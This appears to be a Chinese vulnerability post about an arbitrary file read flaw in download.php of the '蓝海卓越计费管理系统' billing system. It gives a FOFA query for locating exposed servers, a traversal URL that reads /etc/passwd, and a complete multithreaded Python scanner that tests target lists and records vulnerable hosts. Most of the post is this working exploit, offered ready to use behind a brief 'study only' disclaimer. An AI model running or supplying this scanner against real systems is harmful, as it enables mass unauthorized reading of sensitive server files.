声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、漏洞描述
蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞，攻击者通过 …/遍历目录可以读取到服务器上的敏感文件。
二、漏洞复现
漏洞关键字搜索
FOFA：title =="蓝海卓越计费管理系统"
漏洞位置：download.php?file=../../../../../etc/passwd
脚本检测
# -*- coding: utf-8 -*-
import argparse
import sys
import requests
from multiprocessing.dummy import Pool # 表示的是多线程
requests.packages.urllib3.disable_warnings()
def banner():
test = """
█████╗ ███╗ ██╗██╗ ██╗ ███████╗██╗██╗ ███████╗ ██████╗ ███████╗ █████╗ ██████╗
██╔══██╗████╗ ██║╚██╗ ██╔╝ ██╔════╝██║██║ ██╔════╝ ██╔══██╗██╔════╝██╔══██╗██╔══██╗
███████║██╔██╗ ██║ ╚████╔╝ █████╗ ██║██║ █████╗ ██████╔╝█████╗ ███████║██║ ██║
██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══╝ ██║██║ ██╔══╝ ██╔══██╗██╔══╝ ██╔══██║██║ ██║
██║ ██║██║ ╚████║ ██║ ██║ ██║███████╗███████╗ ██║ ██║███████╗██║ ██║██████╔╝
╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝
tag: An any file read poc
@version: 1.0.0
@author: Nian-stars
"""
print(test)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"Safari/537.36",
}
def poc(target):
url = target + "/download.php?file=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # 利用%2e来代替"."完成目录穿越
try:
res = requests.get(url, headers=headers, verify=False, timeout=5).text
if "root" in res:
print(f"[+] {target} is vulnerable!")
with open("result.txt", "a+", encoding="utf-8") as f:
f.write(target + "\n")
else:
print(f"[+] {target} is not vulnerable!")
except:
pass
def main():
banner()
parser = argparse.ArgumentParser(description='An any file read poc')
parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
args = parser.parse_args()
if args.url and not args.file:
poc(args.url)
elif not args.url and args.file:
url_list = []
with open(args.file, "r", encoding="utf-8") as f:
for url in f.readlines():
url_list.append(url.strip().replace("\n", ""))
mp = Pool(100) # 表示的是线程数为100
mp.map(poc, url_list)
mp.close()
mp.join()
else:
print(f"Usage:\n\t python3 {sys.argv[0]} -h")
if __name__ == '__main__':
main()
